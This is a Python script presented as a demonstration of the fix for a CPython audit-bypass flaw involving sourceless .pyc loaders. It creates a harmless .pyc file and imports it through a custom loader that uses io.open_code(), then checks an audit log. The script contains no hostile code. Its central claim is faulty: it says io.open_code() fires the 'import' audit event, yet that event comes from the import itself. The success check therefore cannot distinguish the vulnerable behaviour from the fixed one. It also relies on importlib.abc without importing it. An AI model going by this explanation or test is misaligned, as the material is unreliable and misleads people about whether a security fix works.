Patched code sample

import sys
import os
import marshal
import importlib.util
import importlib.machinery
import io
import time

# This code demonstrates the *fix* for a vulnerability where sourceless .pyc
# file loaders did not trigger a 'import' audit event. The fix involves
# ensuring that io.open_code() is used, which correctly fires the audit hook.
# The original vulnerability was in CPython's C implementation; this is a
# Python-based representation of the corrected behavior.

# --- 1. Setup a mock audit system to observe import events ---
AUDIT_LOGS = []

def mock_audit_hook(event, args):
    """A simple hook to record events for later inspection."""
    if event == 'import':
        AUDIT_LOGS.append((event, args))

# --- 2. Create a dummy sourceless .pyc file for the demonstration ---
MODULE_NAME = "vulnerable_poc_module"
PYC_FILENAME = f"{MODULE_NAME}.pyc"

# The code that our .pyc file will contain
code_string = "print(f'[{__name__}] Module executed successfully from .pyc file!')"
compiled_code = compile(code_string, PYC_FILENAME, 'exec')

# Create the .pyc file on disk
with open(PYC_FILENAME, "wb") as f:
    # Write the magic number, a timestamp, and the marshalled code object
    f.write(importlib.util.MAGIC_NUMBER)
    f.write(int(time.time()).to_bytes(4, 'little')) # 4-byte timestamp
    f.write((0).to_bytes(4, 'little')) # 0 for size in this legacy format
    marshal.dump(compiled_code, f)

# --- 3. Define the *fixed* importer (Finder and Loader) ---

class FixedSourcelessFileLoader(importlib.machinery.SourcelessFileLoader):
    """
    A loader that represents the *fixed* behavior.
    It correctly uses io.open_code() to load the bytecode, which ensures
    the 'import' audit hook is triggered.
    """
    def __init__(self, fullname, path):
        self.fullname = fullname
        self.path = path
        super().__init__(fullname, path)

    def get_code(self, fullname):
        """
        This is the core of the fix. It uses io.open_code().
        """
        # In the vulnerable version, this would be a simple `open(self.path, 'rb')`.
        # The fix is to use `io.open_code`, which is designed to be audited.
        try:
            with io.open_code(self.path) as f:
                # Read past the header (magic number and timestamp/size)
                f.seek(12)
                # Load the code object from the rest of the file
                code_obj = marshal.load(f)
                return code_obj
        except (FileNotFoundError, IsADirectoryError):
            return None

    def exec_module(self, module):
        """Execute the module in its own namespace."""
        code_obj = self.get_code(module.__name__)
        if code_obj is None:
            raise ImportError(f"could not load code object for {module.__name__}")
        exec(code_obj, module.__dict__)

class PatchedFinder(importlib.abc.MetaPathFinder):
    """
    A finder on sys.meta_path to locate our specific module
    and return the fixed loader for it.
    """
    def find_spec(self, fullname, path, target=None):
        if fullname == MODULE_NAME:
            pyc_path = os.path.join(os.getcwd(), PYC_FILENAME)
            if os.path.exists(pyc_path):
                # Return a spec using our FixedSourcelessFileLoader
                return importlib.util.spec_from_file_location(
                    MODULE_NAME,
                    pyc_path,
                    loader=FixedSourcelessFileLoader(fullname, pyc_path)
                )
        return None

# --- 4. Run the demonstration ---
if __name__ == "__main__":
    # Install the audit hook and the custom finder
    sys.addaudithook(mock_audit_hook)
    finder_instance = PatchedFinder()
    sys.meta_path.insert(0, finder_instance)

    print(f"Attempting to import '{MODULE_NAME}' from '{PYC_FILENAME}'...")
    print("-" * 40)

    try:
        # This import will be handled by our PatchedFinder and FixedSourcelessFileLoader
        import vulnerable_poc_module
    except ImportError as e:
        print(f"Import failed: {e}")

    print("-" * 40)
    print("Checking audit logs for 'import' event...")

    # Check if the audit hook was fired
    import_event_found = any(event == 'import' and args[0] == MODULE_NAME for event, args in AUDIT_LOGS)

    if import_event_found:
        print("\nSUCCESS: The 'import' audit event was correctly triggered.")
        print(f"Audit Log Contents: {AUDIT_LOGS}")
    else:
        print("\nFAILURE: The 'import' audit event was NOT triggered.")
        print("This would represent the vulnerable behavior.")

    # --- 5. Cleanup ---
    if MODULE_NAME in sys.modules:
        del sys.modules[MODULE_NAME]
    if finder_instance in sys.meta_path:
        sys.meta_path.remove(finder_instance)
    if os.path.exists(PYC_FILENAME):
        os.remove(PYC_FILENAME)